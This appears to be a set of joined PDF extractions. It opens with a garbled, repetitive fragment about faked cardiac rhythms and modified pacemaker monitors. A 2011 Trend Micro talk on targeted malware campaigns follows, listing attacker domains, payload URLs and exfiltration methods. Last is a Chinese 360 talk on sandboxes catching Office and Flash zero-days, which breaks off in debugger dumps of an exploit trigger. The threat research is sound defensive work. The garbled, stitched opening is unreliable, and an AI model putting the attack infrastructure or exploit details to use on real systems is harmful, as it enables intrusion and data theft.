Blood Pressure Normal? Fictitious intermittent cardiac rhythms Blood Pressure Normal? If PM monitor was modified Fictitious intermittent cardiac rhythms Blood Pressure Normal? If PM monitor was modified Fictitious intermittent cardiac rhythms Blood Pressure Normal? Medications Administered If PM was modified • • • • • • • • • • • •
pdf
Copyright 2011 Trend Micro Inc. Targeted Malware Attacks Nart Villeneuve Copyright 2011 Trend Micro Inc. Threat Landscape • There are numerous attacks everyday; some are specific and targeted while others are automated and indiscriminate. • Attackers may be highly skilled and well resourced adversaries or simply opportunistic amateurs. • Attackers may be individuals or groups engaging in crime motivated by financial gain, politics or status within their community. • Attackers may be motivated by espionage or data theft and have implicit ties to government or military entities. Copyright 2011 Trend Micro Inc. Presentation • Cybercrime – monetization through credential theft, pay-per-install and pay-per- click within an affiliate organizational structure • Targeted Malware Attacks – use of social engineering to aggressively pursue and compromise specific targets • Blurring Boundaries – use of cybercrime tools and infrastructure for the theft of sensitive information Copyright 2011 Trend Micro Inc. Underground Resources Network • Bulletproof Hosting • Domain Registration • VPNs / Jabber Malware • Builders / Panels • Cryptors / AV test • Exploit Packs Propagation • Spam • BHSEO • TDS • Installs/PPI • All the software and services need to setup a malicious operation are available • Aspiring cybercriminals seek a return on their investment • A variety of monetization strategies are available Copyright 2011 Trend Micro Inc. Credential Theft • Use of tools such as Zeus and SpyEye to steal credentials, credit card numbers etc… • Package the goods for re- sale within the underground • Use of money mules and pack mules to extract value Copyright 2011 Trend Micro Inc. Pack Mules Copyright 2011 Trend Micro Inc. CC Marketplace Copyright 2011 Trend Micro Inc. Bank Fraud / SpyEye Webinjects Copyright 2011 Trend Micro Inc. Source: http://www.fbi.gov/news/stories/2010/october/cyber-banking-fraud/cyber-banking-fraud-graphic Copyright 2011 Trend Micro Inc. Arrests: Mega-D, Bredolab, SpyEye Copyright 2011 Trend Micro Inc. Pay-Per-Install • PPI is a model in which bot masters earn income whenever Internet users install software supplied by an affiliate. Copyright 2011 Trend Micro Inc. Pay-Per-Click • PPC is a model in which bot masters earn income whenever Internet users click on advertisement links supplied by an affiliate. Copyright 2011 Trend Micro Inc. PPC Affiliates Copyright 2011 Trend Micro Inc. PPC Copyright 2011 Trend Micro Inc. FAKEAV Affiliates Copyright 2011 Trend Micro Inc. KOOBFACE: The Money • June 23, 2009 to June 10, 2010 • Total income: $2,067,682.69 • Daily average: $5,857.46. • Highest daily total (March 23, 2010): $19,928.53 • FAKEAV: 50.3% of Koobface’s earnings • PPC: 49.7% of Koobface’s earnings Copyright 2011 Trend Micro Inc. Affiliates Copyright 2011 Trend Micro Inc. Daily SMS Copyright 2011 Trend Micro Inc. Challenges Law Enforcement: What crime? What law? What is the impact in my jurisdiction? International cooperation? Industry: Dynamic binaries, supply of new domain names, what threats are on the horizon? Users: What is social engineering? How can I protect myself? Copyright 2011 Trend Micro Inc. Part 2: Targeted Malware Attacks • Computer intrusions staged by threat actors that: – Aggressively pursue and compromise specific targets • Often leveraging social engineering – Maintain a persistent presence within the victim’s network – Escalate privilege and move laterally within the victim’s network – Extract sensitive information to locations under the attacker’s control Copyright 2011 Trend Micro Inc. Low Distribution / High Impact Copyright 2011 Trend Micro Inc. Targeted Malware Attacks • Attacks against civil society organizations, business enterprises and government/military networks • Attacks are typically part of a broader campaign, a series of failed and successful compromises • Attacks typically consist of a socially engineered message – such as an email or instant message – that encourages the target to click on a link or open a file • Attackers use whatever is required, based on reconnaissance, to gain entry and will adjust tactics in reaction to the defenses of the target Copyright 2011 Trend Micro Inc. GhostNet Copyright 2011 Trend Micro Inc. GhostNet Copyright 2011 Trend Micro Inc. GhostNet Copyright 2011 Trend Micro Inc. GhostNet Copyright 2011 Trend Micro Inc. GhostNet Copyright 2011 Trend Micro Inc. Lessons of GhostNet • Attackers do not need to be “advanced” or “sophisticated” to be effective • Maintaining persistent control is important to the attackers • Attribution is difficult: • Use of off-the-shelf software (gh0stRAT) • Geolocation is not enough (false flag) • Notification is difficult: • How and who to notify? Copyright 2011 Trend Micro Inc. ShadowNet • Less than 200 computers compromised, almost all in India • Recovered data included Secret, Confidential and Restricted Indian Gov’t documents • Social engineering + malware embedded in malicious documents + tiered C&C infrastructure Copyright 2011 Trend Micro Inc. ShadowNet Copyright 2011 Trend Micro Inc. ShadowNet Copyright 2011 Trend Micro Inc. ShadowNet Copyright 2011 Trend Micro Inc. ShadowNet Copyright 2011 Trend Micro Inc. ShadowNet Copyright 2011 Trend Micro Inc. ShadowNet Copyright 2011 Trend Micro Inc. ShadowNet {s:6:"hostid";s:7:"PHANTOM";s:6:"ipaddr";N;s:9:"outipaddr";s:12:" 76.67.xx.xxx";s:7:"macaddr";s:17:"08:00:27:4B:8C:79";s:8:"hostnam e";s:7:"PHANTOM";s:6:"ostype";s:34:"Microsoft Windows XP Professional3";s:7:"version";s:5:"0.5.2";s:5:"owner";s:2:"TY";}s:10:"r eporttime";s:14:"20091130091701";} Copyright 2011 Trend Micro Inc. ShadowNet Copyright 2011 Trend Micro Inc. Lessons of ShadowNet • Subset of “noisy” attacks that have been ongoing since 2002 • Documented by Maarten Van Horenbeeck in 2008 • Attacks by this group continue… • Information sharing provides perspective • OHHDL: Incident Response • ShadowServer: samples + sinkhole Copyright 2011 Trend Micro Inc. Trends in Reconnaissance/Targeting • Email address registered in the name of target’s colleague • Forwarding legitimate emails (often from mailing lists) along with a malicious attachment • Sending two or more attachments one is clean, the other is malware • Leveraging authority relationships, such as boss-employee, to communicate a sense of importance • Spoofing governmental email addresses to convey authenticity • Using the “res://” protocol to enumerate the targets system in preparation for a future attack Copyright 2011 Trend Micro Inc. Social Engineering • Spoofed Email? From a “real” person? • Content of the message; Real events? • Attachments? Links? Exploit? Drop? • C&C? Port? Protocol? Downloads? Uploads? Source: contagiodump.blogspot.com Copyright 2011 Trend Micro Inc. Social Engineering • Sent from spoofed Gmail acct of US- Taiwan Business Council President • Content is about an issue that the org and the specific individual have been working on Source: targetedemailattacks.tumblr.com Copyright 2011 Trend Micro Inc. Social Engineering • Attackers leverage relationships of authority • Sent from the president of the organization to the employees Source: targetedemailattacks.tumblr.com Copyright 2011 Trend Micro Inc. Trends in Delivery Mechanisms • Malicious attachments via socially engineered email Email (pdf, doc, xls, ppt) • Links to web pages hosting malware inside of compressed files (.zip, .rar, sometimes password protected) via Email or IM • The use of the default windows configuration that hides file extensions to create executables that look like “folder” icons but are really executables • Links to legitimate webpages, often contextually relevant to the victim, that have been compromised and have had a malicious iframe or malicious javascript embedded • Use of right-to-left Unicode hole to disguise executables Copyright 2011 Trend Micro Inc. Trends: Right-to-Left Unicode Source: h-online.com Copyright 2011 Trend Micro Inc. Trends: Relevant Compromised Hosts • Spoofed Email of Executive Director of HRIC • Contextually relevant content • Sent to human rights mailing lists • Link to compromised “Coalition for Citizens Rights” web site Copyright 2011 Trend Micro Inc. Trends: Relevant Compromised Hosts • PDF loaded in “iframe” • Detection: 8/42 VirusTotal • Components: connects to humanright- watch.org/fun.exe • Connects to 360liveupdate.com Copyright 2011 Trend Micro Inc. Trends: Relevant Compromised Hosts • humanright-watch.org used in two other attacks: • Exploit: CVE-2009-4324 (Adobe PDF 0Day) • Detection: 5/41 VirusTotal (now 16/41) • Exploit: CVE-2009-3129 (XLS) • Detection: 17/41 VirusTotal (now 22/43) TROJ_MDROPR.MRV • C&C: 360liveupdate.com Source: contagiodump.blogspot.com Copyright 2011 Trend Micro Inc. Trends in Compromises/Exploits • Exploits in Gmail (MHTML) , Yahoo! Mail (XSS), and Hotmail (XSS) have all been used recently in targeted attacks • Vulnerabilities, including zeroday, Adobe PDF Reader and Adobe Flash continue to be exploited • Microsoft Office file formats, such as DOC and XLS continue to exploited, recently, in conjunction embedded Adobe Flash objects • Not always zeroday - older, reliable exploits (such as CVE- 2009-3129, CVE-2010-3333, CVE-2010-2883) are still in use Copyright 2011 Trend Micro Inc. Trends: Webmail Copyright 2011 Trend Micro Inc. Trends in Command and Control • Cloud-based command and control , SSL encrypted webmail services, use of intermediaries such as blogs • Heavy use of RATs , often off-the-shelf RAT’s such as gh0st and poisonivy • Hide commands in base64’d (some with custom-alphabets) encoded commands in HTML comment tags in web pages • Use of domains/subdomains specific to classes of victims, often using dynamic DNS providers • The use of XOR’d traffic on non-standard ports • The use of stolen or forged SSL certificates to encrypt network traffic to the command and control server Copyright 2011 Trend Micro Inc. Trends: C&C in the Cloud • Exploit: Adobe Reader/Acrobat (CVE-2010-2883) • Detection: 14 /43 (32.6%) VT; now 19/41 with Trend detecting as TROJ_PIDIEF.EQW • Components: connected to drivehq.com (cloud storage) downloaded DLLs • Ex-filtration: uploaded encrypted data to GMail account via SSL Source: contagiodump.blogspot.com Copyright 2011 Trend Micro Inc. Trends: Targeting + Stealth • <!– ZDpodHRwOi8vd3d3LnBhcmtlcndvb2QuY29tL2ltYWdlcy90b3 AuZ2lm –> • base64 decode = d:http://www.parkerwood.com/images/top.gif Copyright 2011 Trend Micro Inc. Trends: Custom B64 Source: cyberesi.com Copyright 2011 Trend Micro Inc. Trends in Persistence / Lateral Movement • Persistence – Windows Service and Windows Service replacement – DLL search order hijacking • See, http://blog.mandiant.com/archives/1207 • Lateral Movement – Privilege escalation / Pass-the-Hash tools – Target Email servers / use of Email extraction tools (e.g. MAPI- tools targeting Exchange servers) – Targeting PKI (e.g. VPN& SSL certificates) – Obtain directory listings Copyright 2011 Trend Micro Inc. Trends in Data Ex-Filtration • Upload chunks of compressed archives using HTTP post (often to the attackers command and control server) • Upload data via SSL to webmail services • The use of the Tor anonymity network to transmit data to unknown locations • The use of traditional protocols such as FTP and SMPT to transmit data Copyright 2011 Trend Micro Inc. Challenges • Can malware used in attacks that are by definition targeted, and most often customized to pursue specific targets, be detected? • Monitoring network traffic for C&C communication can typically provide an indication of compromise, how will the move to the cloud affect these methods? • Can we distinguish “highly” targeted attacks from “less” targeted attacks? Can we group the activity of specific threat actors? Copyright 2011 Trend Micro Inc. Part 3: Crime or Espionage? At least 15 related attacks between December 9, 2009 and December 23, 2010 Common method, malware and (often) infrastructure Spam email, contains link to .zip .zip contains a Zeus binary Zeus connects to a C&C Downloads an infostealer Infostealer FTP’s documents to a server (usually in Belarus) Copyright 2011 Trend Micro Inc. Emails • December 9, 2009 - CYBER-PMESII COMMANDER’S ANALYSIS OF FORECAST EFFECTS • December 14, 2009 - Information Systems Security Reminder • February 10, 2010 - Russian spear phishing attack against .mil and .gov employees • February 11, 2010 - RE: Zeus Attack Spoofs NSA, Targets .gov and .mil • February 12, 2010 - DoD Roles and Missions in Homeland Security • February 21, 2010 - INTELLIGENCE BULLETIN • March 6, 2010 - FOR OFFICIAL USE ONLY • March 7, 2010 - FOR OFFICIAL USE ONLY • March 11, 2010 - U.S. Department of Homeland Security • March 13, 2010 - RE: Instructions UNCLASSIFIED • June 16, 2010 - From STRATCOM to • June 17, 2010 - Scientific Advisory Board • June 17, 2010 - (U) Transportation Security Administration • August 26, 2010 - From Intelligence Fusion Centre • December, 23 2010 - Merry Christmas! Copyright 2011 Trend Micro Inc. Email Content Copyright 2011 Trend Micro Inc. Xmas/Zeus - Delivery Email spoofed from [email protected] and others... Contained links to websites which contained iframes linked to: − iphonedevelopersdk.com/wp -admin/includes/card.zip and quimeras.com.mx/images/c ard.zip Copyright 2011 Trend Micro Inc. Connecting the dots 1 Dec, 23 2010 (Merry Christmas) – quimeras.com.mx/images/card.zip August 26, 2010 (From Intelligence Fusion Centre) – quimeras.com.mx/media/EuropeanUnion_MilitaryOper ations_EN.zip from-us-with-love.info to get config file, connects to vittles.mobi to download infostealer which connects to nicupdate.com. June 16, 2010 (From STRATCOM to) – quimeras.com.mx/home/report.zip from-us-with-love.com to get the config file (other information unavailable). Copyright 2011 Trend Micro Inc. Connecting the dots 2 June 16, 2010 (From STRATCOM to) – nighthunter.ath.cx/report.zip has the same MD5 as quimeras.com.mx/home/report.zip nighthunter.ath.cx was used to send the March 11, 2010 (U.S. Department of Homeland Security) emails which contained the link: dhsorg.org/docs/instructions.zip which connected to greylogic.org These domains were registered by: [email protected] Copyright 2011 Trend Micro Inc. Challenges • Is there a market for sensitive information? • Are criminal tools and infrastructure being used for espionage? • How do we determine significance given the volume of malware data? Copyright 2009 Trend Micro Inc. Thanks! Comments & Questions?
pdf
大海捞针:使用沙箱捕获多个零日漏洞 李琦 安全开发工程师 金权 漏洞挖掘和利用工程师 2019-5-30 关于我们 李琦 (@leeqwind) 360 核心安全高级威胁自动化团队 安全开发工程师 金权 (@jq0904) 360 核心安全高级威胁自动化团队 漏洞挖掘和利用工程师 • 高级威胁自动化和沙箱 • 使用沙箱发现在野 0day 漏洞 大纲 无处不在的网络攻击 我们至今捕获的五次在野利用 0day 漏洞的攻击事件 CVE-2018-15982 捕获到一次使用新的 Flash 0day (CVE-2018-15982) 针对政府机 构的国际网络攻击。 2018-11 CVE-2018-8174 首家捕获新的使用浏览器 0day 漏洞 (CVE-2018-8174) 的 APT MS Office 攻击。该漏洞影响当时最新版的 Internet Explorer 浏览 器和所有使用 IE 内核的应用程序。 2018-04 2018-06 CVE-2018-5002 全球首家捕获在野利用的 Flash 0day 漏洞 (CVE-2018-5002)。 该漏洞影响 Adobe Flash Player 29.0.0.171 和更早的所有版 本。 2017-12 CVE-2018-0802 全球首家捕获 噩梦公式二代 (CVE-2018-0802) 0day 漏洞, 2018年微软修复的首个在野 0day 漏洞。 CVE-2017-11826 全球独家捕获在野利用的 0day 漏洞 (CVE-2017-11826)。 这是中 国安全厂商捕获的第一个 Office 在野 0day 攻击。 2017-09 无处不在的网络攻击 1 10 100 1000 10000 100000 1000000 doc docm docx eml html hwp msi nsis pdf ppt pptm pptx rtf swf vbs xls xlsm xlsx exe dll others Flash HWP IE Kernel Office PDF CVE-2012-0158 CVE-2015-1641 CVE-2015-1726 CVE-2015-2545 CVE-2016-7255 CVE-2017-11882 CVE-2017-8570 CVE-2018-0798 CVE-2018-0802 CVE-2018-4878 从 2018-03 至 2019-03 期间我们监测到的部分 N-day 漏洞攻击文件统计 部分文件类型分类 漏洞模块分类 部分漏洞计数 高级威胁自动化 • 大规模的样本云 • 静态反病毒引擎 • AVE QEX QVM • 样本预筛选策略 • 沙箱服务器集群 • 虚拟机隔离环境 • 沙箱自动化检测引擎 • 规则评分系统 • 检测结果告警和响应 样本云 分布式调度 扫描和筛选 搜索 告警 订阅 数据汇集 中心 工作服务器 工作服务器 工作服务器 数据源和预先筛选 沙箱服务器集群 面向使用者 高级威胁自动化 • 大规模的样本云 • 静态反病毒引擎 • AVE QEX QVM • 样本预筛选策略 • 沙箱服务器集群 • 虚拟机隔离环境 • 沙箱自动化检测引擎 • 规则评分系统 • 检测结果告警和响应 虚拟机镜像中心 沙箱环境 规则评分 日志 报告 日志处理 虚拟机 操作 VM 该怎么做? 沙箱检测引擎 • 最初的方案:动态库 • 注入目标进程执行检测功能 • 挂钩各系统动态库导出函数 沙箱检测引擎 运行 + 注入 检测模块 辅助进程 目标进程 子进程 Hook Exploit VEH Logging 检测模块 Hook Exploit VEH Logging 检测模块 运行 进程 注入检测模块 消息 • 最初的方案:动态库 • 注入目标进程执行检测功能 • 挂钩各系统动态库导出函数 • 轻量级 😀 沙箱检测引擎 运行 + 注入 检测模块 辅助进程 目标进程 子进程 Hook Exploit VEH Logging 检测模块 Hook Exploit VEH Logging 检测模块 运行 进程 注入检测模块 消息 • 最初的方案:动态库 • 注入目标进程执行检测功能 • 挂钩各系统动态库导出函数 • 轻量级 😀 • 这样就可以了吗? 沙箱检测引擎 运行 + 注入 检测模块 辅助进程 目标进程 子进程 Hook Exploit VEH Logging 检测模块 Hook Exploit VEH Logging 检测模块 运行 进程 注入检测模块 消息 运行 + 注入 检测模块 辅助进程 目标进程 子进程 Hook Exploit VEH Logging 检测模块 Hook Exploit VEH Logging 检测模块 运行 进程 注入检测模块 消息 • 最初的方案:动态库 • 注入目标进程执行检测功能 • 挂钩各系统动态库导出函数 • 轻量级 😀 • 这样就可以了吗? • 容易被探测 ☹ 沙箱检测引擎 运行 + 注入 检测模块 辅助进程 目标进程 子进程 Hook Exploit VEH Logging 检测模块 Hook Exploit VEH Logging 检测模块 运行 进程 注入检测模块 消息 • 最初的方案:动态库 • 注入目标进程执行检测功能 • 挂钩各系统动态库导出函数 • 轻量级 😀 • 这样就可以了吗? • 容易被探测 ☹ • 容易被绕过 ☹ 沙箱检测引擎 运行 + 注入 检测模块 辅助进程 目标进程 子进程 Hook Exploit VEH Logging 检测模块 Hook Exploit VEH Logging 检测模块 运行 进程 注入检测模块 消息 • 最初的方案:动态库 • 注入目标进程执行检测功能 • 挂钩各系统动态库导出函数 • 轻量级 😀 • 这样就可以了吗? • 容易被探测 ☹ • 容易被绕过 ☹ • 容易丢失远程方式启动进程的追踪链 ☹ 沙箱检测引擎 • 第二种方案:驱动程序 • 内核层监控目标系统调用 • 系统回调,通知,过滤 沙箱检测引擎 用 户 空 间 内 核 lib 系统调用 obj proc fsflt drv 沙箱检测驱动程序 lib lib • 第二种方案:驱动程序 • 内核层监控目标系统调用 • 系统回调,通知,过滤 • 更完整监控覆盖面 😀 • 更全面的污点追踪 😀 沙箱检测引擎 用 户 空 间 内 核 lib 系统调用 obj proc fsflt drv 沙箱检测驱动程序 lib lib • 第二种方案:驱动程序 • 内核层监控目标系统调用 • 系统回调,通知,过滤 • 更完整监控覆盖面 😀 • 更全面的污点追踪 😀 • 这就没问题了吗? 沙箱检测引擎 用 户 空 间 内 核 lib 系统调用 obj proc fsflt drv 沙箱检测驱动程序 lib lib 用 户 空 间 内 核 lib 系统调用 obj proc fsflt drv 沙箱检测驱动程序 lib lib • 第二种方案:驱动程序 • 内核层监控目标系统调用 • 系统回调,通知,过滤 • 更完整监控覆盖面 😀 • 更全面的污点追踪 😀 • 这就没问题了吗? • 64 位操作系统的 PATCH GUARD 机制 ☹ 沙箱检测引擎 用 户 空 间 内 核 lib 系统调用 obj proc fsflt drv 沙箱检测驱动程序 lib lib • 第二种方案:驱动程序 • 内核层监控目标系统调用 • 系统回调,通知,过滤 • 更完整监控覆盖面 😀 • 更全面的污点追踪 😀 • 这就没问题了吗? • 64 位操作系统的 PATCH GUARD 机制 ☹ • 加载驱动的恶意程序的干扰 ☹ 沙箱检测引擎 • 第三种方案:基于硬件虚拟化的驱动程序 • 基于虚拟化的系统调用监控功能 • 针对敏感内存读写访问监控功能 沙箱检测引擎 用 户 空 间 内 核 lib 系统调用 obj proc fsflt drv 沙箱检测驱动程序 lib lib 沙箱 Hypervisor 驱动程序 • 第三种方案:基于硬件虚拟化的驱动程序 • 基于虚拟化的系统调用监控功能 • 针对敏感内存读写访问监控功能 • 避免 PATCH GUARD 导致的蓝屏 😀 • 保护自身驱动代码数据 😀 • 拓展更全面的检测功能 😀 沙箱检测引擎 用 户 空 间 内 核 lib 系统调用 obj proc fsflt drv 沙箱检测驱动程序 lib lib 沙箱 Hypervisor 驱动程序 • 第三种方案:基于硬件虚拟化的驱动程序 • 基于虚拟化的系统调用监控功能 • 针对敏感内存读写访问监控功能 • 避免 PATCH GUARD 导致的蓝屏 😀 • 保护自身驱动代码数据 😀 • 拓展更全面的检测功能 😀 • 这样就万无一失了吗? 沙箱检测引擎 用 户 空 间 内 核 lib 系统调用 obj proc fsflt drv 沙箱检测驱动程序 lib lib 沙箱 Hypervisor 驱动程序 用 户 空 间 内 核 lib 系统调用 obj proc fsflt drv 沙箱检测驱动程序 lib lib 沙箱 Hypervisor 驱动程序 • 第三种方案:基于硬件虚拟化的驱动程序 • 基于虚拟化的系统调用监控功能 • 针对敏感内存读写访问监控功能 • 避免 PATCH GUARD 导致的蓝屏 😀 • 保护自身驱动代码数据 😀 • 拓展更全面的检测功能 😀 • 这样就万无一失了吗? • 无法确保其他内核模块的可靠性 ☹ 沙箱检测引擎 用 户 空 间 内 核 lib 系统调用 obj proc fsflt drv 沙箱检测驱动程序 lib lib 沙箱 Hypervisor 驱动程序 • 第三种方案:基于硬件虚拟化的驱动程序 • 基于虚拟化的系统调用监控功能 • 针对敏感内存读写访问监控功能 • 避免 PATCH GUARD 导致的蓝屏 😀 • 保护自身驱动代码数据 😀 • 拓展更全面的检测功能 😀 • 这样就万无一失了吗? • 无法确保其他内核模块的可靠性 ☹ • 虚拟机软件嵌套虚拟化支持不佳 ☹ 沙箱检测引擎 用 户 空 间 内 核 lib 系统调用 obj proc fsflt drv 沙箱客户端驱动程序 虚拟机 沙箱检测引擎 Hypervisor 硬件层 沙箱检测引擎 虚 拟 机 主 机 系 统 内 核 VM-1 VM-2 ··· 主机服务器 • 第四种方案:基于全局虚拟机监视器的检测方案 • 第四种方案:基于全局虚拟机监视器的检测方案 • 核心检测代码位于主机系统内核 • 融合先前各检测方案的优势 • 不依赖虚拟机内部其他系统模块 😀 • 虚拟机崩溃不影响关键检测功能 😀 • 检测数据直接输出主机记录服务 😀 沙箱检测引擎 Hypervisor 硬件层 沙箱检测引擎 虚 拟 机 主 机 系 统 内 核 VM-1 VM-2 ··· 主机服务器 沙箱检测技术 • 行为检测 • 内存访问检测 • 内核利用检测 • 内核异常检测 • 已知漏洞检测 • 用户态利用检测 Access Proc Access File Behavior Network Vulnerablitiy Exploit EoP syscall UAF Nullptr Arbitrary addr R/W Arbitrary addr exec Token Privileges 沙箱检测技术 • 行为检测 • 内存访问检测 • 内核利用检测 • 内核异常检测 • 已知漏洞检测 • 用户态利用检测 内存访问检测 行为检测 客 户 机 操 作 系 统 Hypervisor 匹配 I.I. 匹配 返回 解析 记录 检测日志记录服务 客户机操作系统中的执行流 匹配 I.I. 匹配 返回 解析 记录 S.MTF C.MTF 恢复 返回 内核利用检测 Vulnerability Triggering Exploiting Exploit Result UAF Nullptr OOB Pool/heap spray Corrupting window Token Privileges Integrity ACL ... ... ... KeBugCheck(XX) 记录上下文 Guest OS Hypervisor 内核异常检测 • 当系统内核发生崩溃时记录关键上下文 已知漏洞检测 • 精确识别使用已知漏洞进行利用的任务 用户态利用检测 • 堆喷射阈值检测 • 导出地址表过滤 • 导入地址表过滤 • ROP 检测 • Flash 针对性检测 • Vector Length 检测 • ByteArray Length 检测 • LoadBytes 转储 • 其他检测功能 • VBScript 针对性检测 • …… 检测结果告警 高级威胁自动化平台 检测结果告警 高级威胁自动化平台 如何使用沙箱发现 0day 漏洞? 从 CVE-2017-0199 说起… 沙箱的优势 • 多环境 • 各版本 Windows • 各版本 Office • 各版本 Flash • 动态执行 • 模拟交互 • 反静态混淆 (特别是 RTF 文档) • 记录和还原现场 • 精确 • 漏洞和利用的识别 • 自动化 • 自动展示进程行为 • 自动转储文件 • 自动转储 LoadBytes 加载的利用代码 搭建自动化检测系统 • 历史事件研究 • 历史 0day/1day 研究 • 数据源 • 360 的海量数据 • 高质量的共享数据源 • 分析系统 • 沙箱 • 推送系统 • 人工确认 • 相关漏洞分析员 近6年的相关漏洞 2013 2014 2015 2016 2017 2018 CVE-2013-0634 CVE-2013-3906 CVE-2014-1761 CVE-2014-4114 CVE-2014-6352 CVE-2015-1642 CVE-2015-2424 CVE-2015-2545 CVE-2015-5119 CVE-2015-5122 CVE-2016-4117 CVE-2016-7193 CVE-2016-7855 CVE-2017-0199 CVE-2017-0261 CVE-2017-0262 CVE-2017-8570 CVE-2017-8759 CVE-2017-11292 CVE-2017-11826 CVE-2017-11882 CVE-2018-0798 CVE-2018-0802 CVE-2018-4878 CVE-2018-5002 CVE-2018-8174 CVE-2018-8373 CVE-2018-15982 历史漏洞归类 RTF 控制字解析问题 Open XML 标签解析问题 ActiveX 控件解析问题 Office 嵌 Flash 0day CVE-2010-3333 CVE-2014-1761 CVE-2016-7193 CVE-2015-1641 CVE-2017-11826 CVE-2012-0158 CVE-2012-1856 CVE-2015-2424 CVE-2017-11882 CVE-2018-0798 CVE-2018-0802 CVE-2011-0609 CVE-2011-0611 CVE-2013-0634 HackingTeam 泄露代码 CVE-2016-4117 CVE-2016-7855 CVE-2018-4878 CVE-2018-5002 CVE-2018-15982 TIFF 图片解析问题 EPS 文件解析问题 Moniker 其他 Office 逻辑漏洞 CVE-2013-3906 CVE-2015-2545 CVE-2017-0261 CVE-2017-0262 CVE-2017-0199 CVE-2017-8570 CVE-2017-8759 CVE-2018-8174 CVE-2018-8373 CVE-2014-4114 CVE-2014-6352 CVE-2015-0097 历史总是相似的 RTF 控制字解析问题 Open XML 标签解析问题 ActiveX 控件解析问题 Office 嵌 Flash 0day CVE-2010-3333 CVE-2014-1761 CVE-2016-7193 CVE-2015-1641 CVE-2017-11826 CVE-2012-0158 CVE-2012-1856 CVE-2015-2424 CVE-2017-11882 CVE-2018-0798 CVE-2018-0802 CVE-2011-0609 CVE-2011-0611 CVE-2013-0634 HackingTeam 泄露代码 CVE-2016-4117 CVE-2016-7855 CVE-2018-4878 CVE-2018-5002 CVE-2018-15982 TIFF 图片解析问题 EPS 文件解析问题 Moniker 其他 Office 逻辑漏洞 CVE-2013-3906 CVE-2015-2545 CVE-2017-0261 CVE-2017-0262 CVE-2017-0199 CVE-2017-8570 CVE-2017-8759 CVE-2018-8174 CVE-2018-8373 CVE-2014-4114 CVE-2014-6352 CVE-2015-0097 不断反思 走过的弯路:4个 0day + 1个 1day 2017年4月 • CVE-2017-0261 (0day) • CVE-2017-0262 (0day) + CVE-2017-0263 (0day) • 反思 • 沙箱检测引擎有缺陷 ☹ • CVE-2017-0261 样本无法在 Office 2010 触发 ☹ • CVE-2017-0262 样本无法在 Office 2007 触发 ☹ • 当用户态引擎遇见内核 0day ☹ 2017年8月 • CVE-2017-8759 (0day) • 反思 • 沙箱跑出了样本,但未能及时通知分析人员 ☹ 2017年10月 • CVE-2017-11292 (1day) • 反思 • 对 DealersChoice 框架缺乏了解 ☹ • 若目标为低版本 Flash,下发 CVE-2015-7645 ☹ • 若目标为高版本 Flash,下发 CVE-2017-11292 😀 研究攻击框架 • DealersChoice • 由 @Unit42_Intel 命名 • 被 APT28 使用 • 持续改进以尽可能地躲避检测 • 初始手法 • 检查当前 Flash 版本 • 地理位置判断 • 存活时间短 • 新手法 • 反沙箱:需要模拟文档下滑 • 改写开源代码,加入恶意功能,躲避静态检测 持续创新 • 沙箱检测引擎缺陷 ☹ • 开发下一代沙箱检测引擎 😀 • 环境选择不正确 ☹ • 制作多种环境 😀 • 制定触发率高的投递策略 😀 • 不能及时通知分析人员 ☹ • 构建实时推送系统 😀 • 对攻击框架不够熟悉 ☹ • 研究 DealersChoice 框架 😀 • 强化 Flash 针对性检测 😀 从0到1 CVE-2017-11826 从0到1 • 2017年9月27日 从0到1 • 第一次有中国厂商抓到 Office 在野 0day CVE-2017-11826 • OLEObject & Font 对象类型混淆 + ActiveX 控件堆喷射 ; Office 2007 下正常执行时 ; mov eax, [eax+44h] 0:000> dc 38450f4 l4c/4 038450f4 0000ffff 0000ffff 00000004 00000004 ................ 03845104 00000001 00000000 00000000 00000000 ................ 03845114 00000000 ffffffff ffffffff 00000000 ................ 03845124 00000000 ffffffff 00000000 00000000 ................ 03845134 00000000 01d9ffa0 67a02e58 ........X..g ; mov eax, [eax+44h] 0:000> dc 01d9ffa0 l4c/4 01d9ffa0 00000001 00000001 01f47928 00000009 ........(y...... 01d9ffb0 00000000 00000000 00000000 00000000 ................ 01d9ffc0 00000000 000004b0 00000000 00000000 ................ 01d9ffd0 0005003c 00000000 00000000 00000000 <............... 01d9ffe0 00000002 01f7e0a0 00000000 ............ ; mov ecx, [eax] 0:000> dd 01f7e0a0 l1 01f7e0a0 65d9420c ; call dword ptr [ecx+4] 0:000> dds 65d9420c l2 65d9420c 65b527ad mso!Ordinal1072+0x2dd 65d94210 658bbe71 mso!Ordinal836+0xaf // AddRef ; Office 2007 下触发漏洞时 ; mov eax, [eax+44h] 0:000> dc 5998140 l4c/4 05998140 000001de 000000dd 00000015 00000010 ................ 05998150 00000000 00000000 00000000 00000000 ................ 05998160 00000000 ffffffff ffffffff 00000000 ................ 05998170 00000000 ffffffff 00000000 00000000 ................ 05998180 00000000 04131700 67110a89 ...........g ; mov eax, [eax+44h] 0:000> dc 04131700 l4c/4 04131700 0000045f 00000000 00000000 00000000 _............... 04131710 00000000 00000000 00000000 00000000 ................ 04131720 00000000 00000000 0069004c 0063006e ........L.i.n.c. 04131730 00720065 00680043 00720061 00680043 e.r.C.h.a.r.C.h. 04131740 00720061 088888ec 006f0066 a.r.....f.o. ; mov ecx, [eax] 0:000> dd 088888ec l1 088888ec 088883ec ; call dword ptr [ecx+4] 0:000> dds 088883ec l2 088883ec 72980e2b MSVBVM60!IID_IVbaHost+0x127eb 088883f0 72980e2b MSVBVM60!IID_IVbaHost+0x127eb // Stack Pivot 从1到N CVE-2018-0802 CVE-2018-8174 CVE-2018-5002 CVE-2018-15982 CVE-2018-0802 • 公式编辑器组件栈溢出 • 2017年12月14日 • 同时内嵌两个漏洞 • CVE-2017-11882 • CVE-2018-0802 • 可以正常触发和成功利用 😀 • 2017年12月19日 • 只内嵌一个漏洞 • CVE-2018-0802 • 无法正常触发 ☹ • 重新构造 OLE 后可以成功利用 😀 CVE-2018-0802 • 两个样本都报告给了微软 • 2018年1月10日,微软对我们进行了致谢 CVE-2018-0802 • 2017年12月19日的样本 • MD5: 299D0C5F43E59FC9415D70816AEE56C6 • 内嵌 0day 😀 • RTF 混淆 😀 • OLE 数据构造错误 ☹ 错误的公式流: DirEntry SID=4: '\xe7\x90\x80\xe6\xa4\x80\xe7\x98\x80\xe6\x94\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe2\ x80\x80\xc8\x80\xef\xbc\x80\xef\xbf\xbf\xef\xbf\xbf\xef\xbf\xbf\xef\xbf\xbf\xef\xbf\xbf\xc3\xbf\x00' - type: 0 - sect: 0 - SID left: 0, right: 0, child: 0 - size: 